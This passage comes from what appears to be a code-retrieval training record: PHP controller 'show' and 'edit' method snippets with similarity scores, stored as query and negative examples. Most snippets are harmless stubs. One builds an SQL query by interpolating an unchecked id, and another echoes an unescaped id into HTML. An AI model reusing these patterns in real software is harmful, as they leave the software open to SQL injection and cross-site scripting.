.\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "public function show(NebulaResource $resource, $item): View\n {\n $this->authorize('view', $item);\n\n return view('nebula::resources.show', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function resource(string $resource, string $controller): void\n {\n $base = $this->plural($resource);\n $entity = '/{'.$resource.'}';\n\n $this->app->get($base, $controller.'@index');\n $this->app->post($base, $controller.'@store');\n $this->app->get($base.$entity, $controller.'@show');\n $this->app->patch($base.$entity, $controller.'@update');\n $this->app->delete($base.$entity, $controller.'@destroy');\n }", "function displayCustom($resource_name, $cache_id = null, $compile_id = null)\n\t{\n\t return $this->display(DotbAutoLoader::existingCustomOne($resource_name), $cache_id, $compile_id);\n\t}", "public function show($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.show\")) {\n $view = \"admin.{$this->name}.show\";\n } else {\n $view = 'admin.includes.actions.show';\n }\n\n /* Displays the specified resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function show($id)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $rules = [\n 'id' => 'required|integer'\n ];\n\n $validator = Validator::make(['id' => $id], $rules);\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n $resource = $this->resourceRepository->fetchResource($id);\n $this->resourceRepository->storeView($id, $currentUser['id']);\n\n $data = [\n 'resource' => $resource,\n 'related_resources' => $this->resourceRepository->getResourcesRelatedTo($resource->id, $resource->mentoring_area_id)\n ];\n\n return APIHandler::response(1, \"Show Resource\", $data);\n }", "public function get(Resource $resource);", "public function showAction()\n {\n $model = $this->_getPhotoModel();\n $photo = $model->fetchEntry($this->getRequest()->getParam('id'));\n\n if (null === $photo) {\n return $this->_forward('notfound', 'error');\n }\n\n $this->view->auth = Zend_Auth::getInstance();\n $this->view->title = $photo->title;\n $this->view->photo = $photo;\n }", "public function show($id)\n {\n //\n $data=Resource::find($id);\n return view('resourceDetails',compact('data'));\n }", "function display() {\n\t\t$view = &$this->getView();\n\t\t$view->display();\n\t}", "public function show(ShowResourceRequest $request, $id)\n {\n // TODO: Implement show() method.\n }", "function show( $resource ){\n\n $where = \"reservation_status <> 'Pending' AND id = {$resource}\";\n $reservation = where( 'reservations', $where );\n $reservation = $reservation[0];\n\n return view('admin/reservation/preview_reservation', compact( 'reservation' ));\n}", "public function show()\n {\n if ($this->twig !== false) {\n $this->twigDefaultContext();\n if ($this->controller) {\n $this->controller->display($this->data);\n }\n echo $this->twig->render($this->twig_template, $this->data);\n } else {\n $filename = $this->findTemplatePath($this->template);\n require($filename);\n }\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function show(rc $rc)\n {\n //\n }", "public function show(Resolucion $resolucion)\n {\n //\n }", "public function showAction(furTexture $furTexture)\n {\n\n return $this->render('furtexture/show.html.twig', array(\n 'furTexture' => $furTexture,\n ));\n }", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show()\n\t{\n\t\t//\n\t}", "public function show(Resena $resena)\n {\n }", "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function showAction() {\n $docId = $this->getParam('id');\n\n // TODO verify parameter\n\n $document = new Opus_Document($docId);\n\n $this->_helper->layout()->disableLayout();\n\n $this->view->doc = $document;\n $this->view->document = new Application_Util_DocumentAdapter($this->view, $document);\n }", "public function action_display()\r\n\t{\r\n\t\t$event = ORM::factory('event', array('id' => $this->request->param('id')));\r\n\t\r\n\t\tif ( ! $event->loaded())\r\n\t\t{\r\n\t\t\tNotices::error('event.view.not_found');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Can user view this event?\r\n\t\tif ( ! $this->user->can('event_view', array('event' => $event)))\r\n\t\t{\r\n\t\t\t// Error notification\r\n\t\t\tNotices::error('event.view.not_allowed');\r\n\t\t\t$this->request->redirect(Route::url('event'));\r\n\t\t}\r\n\t\t\r\n\t\t// Pass event data to the view class\r\n\t\t$this->view->event_data = $event;\r\n\t\t$this->view->user = $this->user;\r\n\t}", "public function execute()\n {\n // HTTP Request Get\n if ($this->type == \"resource\") {\n $action = $this->getResourceAction();\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n } else {\n $action = $this->Request->action;\n switch ($action) {\n case \"show\":\n $this->show();\n break;\n case \"create\":\n $this->create();\n break;\n case \"edit\":\n $this->edit();\n break;\n case \"destroy\":\n $this->destroy();\n break;\n default:\n echo $this->render();\n break;\n }\n }\n }", "public function show(Resident $resident)\n {\n $this->authorize('admin.resident.show', $resident);\n\n // TODO your code goes here\n }", "public function display()\n {\n echo $this->getDisplay();\n $this->isDisplayed(true);\n }", "public function display()\n\t{\n\t\tparent::display();\n\t}", "public function get_resource();", "public function show()\n\t{\n\t\t\n\t}", "function display() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultView();\n\n\t\tif ($view == NULL) {\n\t\t\tthrow new Exception('Display task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t$view->listing = true;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "public function viewResources()\n {\n $database = new Database();\n\n $resources = $database->getAllActiveResourcesNoLimit();\n\n\n $resourceArray = array();\n $i = 1;\n\n foreach ($resources as $resource) {\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n array_push($resourceArray, $availableResource);\n $i += 1;\n }\n $resourceSize = sizeof($resourceArray);\n $this->_f3->set('resourcesByActive', $resourceArray);\n $this->_f3->set('resourcesSize', $resourceSize);\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function show($id)\n {\n $this->title .= ' show';\n $this->one($id);\n }", "public function display($title = null)\n {\n echo $this->fetch($title);\n }", "public function display(){}", "public function show($id)\n\t{\n\t\t//\n\t\t//\n\t\n\t}", "public function viewAction()\n\t{\n\t\t//get Id param from request\n\t\tif (!$id = $this->_getParam('id')) {\n\t\t\t$this->getFlashMessenger()->addMessage('Product ID was not specified');\n\t\t\t$this->getRedirector()->gotoSimple('list');\n\t\t}\n\n\t\t//fetch requested ProductID from DB\n\t\tif (!$this->_model->fetch($id)) {\n\t\t\t$this->render('not-found');\n\t\t} else {\n\t\t\t$this->view->model = $this->_model;\n\t\t}\n\t}", "public function show($id)\n {\n // Get single person\n $person = Person::findOrFail($id);\n\n // Return single person as a resource\n return '<h1>Person Number '.$id.'</h1><br>'.json_encode(new PersonResource($person));\n }", "#[TODO] use self object?\n\tprotected function GET(ResourceObject $resource) {\n#[TODO]\t\tif ($resource->getMTime())\n#[TODO]\t\t\t$this->response->headers->set('Last-modified', gmdate('D, d M Y H:i:s ', $resource->getMTime()) . 'GMT');\n#[TODO]\t\tif ($resource->getCTime())\n#[TODO]\t\t\t$this->response->headers->set('Date', gmdate('D, d M Y H:i:s ', $resource->getCTime()) . 'GMT');\n\n\n#[TODO] handle file streams\n\t\t// get ranges\n#\t\t$ranges = WebDAV::getRanges($this->request, $this->response);\n\n\t\t// set the content of the response\n\t\tif ($resource instanceof ResourceDocument) {\n\t\t\t$this->response->content->set($resource->getContents());\n\t\t\t$this->response->content->setType($resource->getMIMEType());\n\t\t\t$this->response->content->encodeOnSubmit(true);\n\t\t}\n\t}", "public function display() {\n echo $this->render();\n }", "public function show($id)\n\t{\n\t//\n\t}", "public function show($id)\n\t{\n\t//\n\t}", "function Fetch($resource_name, $cache_id = null, $compile_id = null, $display = false)\n {\n return $this->_smarty->fetch($resource_name, $cache_id, $compile_id, $display);\n }", "public function show($id)\n {\n //\n $this->_show($id);\n }", "public function show()\n\t{\n\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {\n\t\t//\n\t}", "public function show($id) {}", "static public function showCallback(O_Dao_Renderer_Show_Params $params) {\r\n\t\t/* @var $r R_Mdl_Resource */\r\n\t\t$r = $params->record();\r\n\t\t// Setting layout title\r\n\t\t$params->layout()->setTitle($r->getPageTitle());\r\n\r\n?><h1><?=$r->title?></h1><div id=\"resource\"><?\r\n\t\tif($r->getContent()) {\r\n\t\t\t// page has its own content -- show it\r\n\t\t\t$r->getContent()->show($params->layout(), \"content\");\r\n\t\t} else {\r\n\t\t\t// It is a post unit, show all childs\r\n\t\t\tif($r->is_unit == 1) {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"content\");\r\n\r\n\t\t\t// It is a folder with several units, show paginator\r\n\t\t\t} elseif($r->show_def == \"last-units\") {\r\n\t\t\t\tlist($type, $perpage) = explode(\":\", $r->show_def_params);\r\n\t\t\t\t/* @var $p O_Dao_Paginator */\r\n\t\t\t\t$p = $r->addQueryAccessChecks($r->getChilds())->test(\"is_unit\", 1)->getPaginator(array($r, \"getPageUrl\"), $perpage);\r\n\t\t\t\t$p->show($params->layout(), $type);\r\n\t\t\t// It is a folder with subfolders, boxes, contents. Show one childs level\r\n\t\t\t} else {\r\n\t\t\t\t$r->addQueryAccessChecks($r->getChilds(1))->show($params->layout(), \"on-parent-page\");\r\n\t\t\t}\r\n\r\n\t\t}\r\n?></div><?\r\n\t}", "public function show($id)\r\n\t{\r\n\t\t//\r\n\r\n\r\n\r\n\t}", "public function show($resourceId, $eventId)\n {\n $routes = $this->routes;\n\n $eventable = $this->getEventableRepository()->model()->findOrFail($resourceId);\n\n if (method_exists($eventable, 'events')) {\n $event = $eventable->events()->find($eventId);\n\n if ($event) {\n $apiObject = $this->event->findApiObject($event->api_id);\n\n return view('events.eventables.show', compact('routes', 'eventable', 'event', 'apiObject'));\n }\n }\n\n abort(404);\n }", "public abstract function display();", "abstract public function resource($resource);", "public function show($id)\r\r\n\t{\r\r\n\t\t//\r\r\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show( $id ) {\n\t\t//\n\t}", "public function show(Response $response)\n {\n //\n }", "public function show()\n {\n return auth()->user()->getResource();\n }" ]
[ "0.8233718", "0.8190437", "0.6828712", "0.64986944", "0.6495974", "0.6469629", "0.6462615", "0.6363665", "0.6311607", "0.62817234", "0.6218966", "0.6189695", "0.61804265", "0.6171014", "0.61371076", "0.61207956", "0.61067593", "0.6105954", "0.6094066", "0.6082806", "0.6045245", "0.60389996", "0.6016584", "0.598783", "0.5961788", "0.59606946", "0.5954321", "0.59295714", "0.59182066", "0.5904556", "0.59036547", "0.59036547", "0.59036547", "0.5891874", "0.58688277", "0.5868107", "0.58676815", "0.5851883", "0.58144855", "0.58124036", "0.58112013", "0.5803467", "0.58012545", "0.5791527", "0.57901084", "0.5781528", "0.5779676", "0.5757105", "0.5756208", "0.57561266", "0.57453394", "0.57435393", "0.57422745", "0.5736634", "0.5736634", "0.5730559", "0.57259274", "0.5724891", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5722562", "0.5718969", "0.5713412", "0.57091093", "0.5706405", "0.57057405", "0.5704541", "0.5704152", "0.57026845", "0.57026845", "0.56981397", "0.5693083" ]
0.0
-1
Show the form for editing the specified resource.
public function edit($id) { try { $event = StorageEvents::findOrFail($id); return $this->view('events.edit', compact('event')); } catch(ModelNotFoundException $e) { return $this->redirectNotFound(); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(Resource $resource)\n {\n return view('admin.resources.edit', compact('resource'));\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function edit($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.edit\")) {\n $view = \"admin.{$this->name}.edit\";\n } else {\n $view = 'admin.includes.actions.edit';\n }\n\n /* Displays the edit resource page */\n return view($view)\n ->with('resource', $resource)\n ->with('name', $this->name);\n }", "public function edit(NebulaResource $resource, $item): View\n {\n $this->authorize('update', $item);\n\n return view('nebula::resources.edit', [\n 'resource' => $resource,\n 'item' => $item,\n ]);\n }", "public function edit() {\r\n $id = $this->api->getParam('id');\r\n\r\n if ($id) {\r\n $this->model->id = $id;\r\n $this->checkOwner();\r\n }\r\n $object = $this->model->find_by_id($id);\r\n\r\n $this->api->loadView('contact-form', array('row' => $object));\r\n }", "public function viewEditResources()\n {\n $database = new Database();\n $id = $this->_params['id'];\n\n $resource = $database->getResourceById($id);\n\n $availableResource = new Resource($resource['ResourceID'], $resource['ResourceName'], $resource['Description']\n , $resource['ContactName'] , $resource['ContactEmail'] , $resource['ContactPhone'] ,\n $resource['Link'], $resource['active']);\n $this->_f3->set('Resource', $availableResource);\n\n echo Template::instance()->render('view/include/head.php');\n echo Template::instance()->render('view/include/top-nav.php');\n echo Template::instance()->render('view/edit-resources.php');\n echo Template::instance()->render('view/include/footer.php');\n }", "public function edit()\n {\n return view('hirmvc::edit');\n }", "public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}", "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "public function edit($id)\n\t{\n\t\treturn $this->showForm('update', $id);\n\t}", "public function edit($id)\n {\n $model = $this->modelObj;\n $formObj = $model::findOrFail($id);\n $data['formObj'] = $formObj;\n return view($this->veiw_base . '.edit', $data);\n }", "public function createEditForm(Resourceperson $entity){\n \n $form = $this->createForm(new ResourcepersonType(), $entity, array(\n 'action' => $this->generateUrl('rsp_update', array('id' => $entity->getRpId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update','attr'=> array(\n 'class'=>'btn btn primary'\n )));\n\n return $form;\n }", "private function createEditForm(Resource $entity)\n {\n $form = $this->createForm(new ResourceType(), $entity, array(\n 'action' => $this->generateUrl('social_admin_resource_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => '保存','attr'=>[\n 'class'=>'btn btn-primary'\n ]));\n\n return $form;\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function edit($id)\n {\n return $this->showForm('update', $id);\n }", "public function editAction()\n {\n if ($form = $this->processForm()) {\n if ($this->useTabbedForms && method_exists($this, 'getSubject')) {\n $data = $this->getModel()->loadFirst();\n $subject = $this->getSubject($data);\n $this->setPageTitle(sprintf($this->_('Edit %s %s'), $this->getTopic(1), $subject));\n } else {\n $this->setPageTitle(sprintf($this->_('Edit %s'), $this->getTopic(1)));\n }\n $this->html[] = $form;\n }\n }", "public function edit($id)\n {\n $this->data['entity'] = GS_Form::where('id', $id)->firstOrFail();\n return view('admin.pages.forms.edit', $this->data);\n }", "public function edit($id)\n\t{\n\t\t// get the fbf_presenca\n\t\t$fbf_presenca = FbfPresenca::find($id);\n\n\t\t\n\t\t// show the edit form and pass the fbf_presenca\n\t\t$this->layout->content = View::make('fbf_presenca.edit')\n->with('fbf_presenca', $fbf_presenca);\n\t}", "public function edit($id)\n {\n $data = $this->model->find($id);\n\n return view('admin.backends.employee.form.edit',compact('data'));\n }", "public function edit($model, $form);", "function edit() {\n\t\tglobal $tpl;\n\n\t\t$form = $this->initForm();\n\t\t$tpl->setContent($form->getHTML());\n\t}", "public function edit($id)\n\t{\n\t\t$faith = Faith::find($id);\n \n return view('faith.form')->with('faith', $faith);\n\n\t}", "public function edit()\n { \n return view('admin.control.edit');\n }", "public function edit(Form $form)\n {\n //\n }", "public function edit()\n {\n return view('common::edit');\n }", "public function edit($id)\n {\n $resource = (new AclResource())->AclResource;\n $roleResource = AclRole::where('role', $id)->get(['resource'])->toArray();\n $roleResource = Arr::pluck($roleResource, 'resource');\n return view('Admin.acl.role.form', [\n 'role' => $id,\n 'resource' => $resource,\n 'roleResource' => $roleResource,\n ]);\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\n {\n return view('admin::edit');\n }", "public function edit()\r\n {\r\n return view('petro::edit');\r\n }", "public function edit($id)\n {\n // show form edit user info\n }", "public function edit()\n {\n return view('escrow::edit');\n }", "public function edit($id)\n {\n $resource = ResourceManagement::find($id);\n\n $users = User::get();\n // Redirect to user list if updating user wasn't existed\n if ($resource == null || $resource->count() == 0) {\n return redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
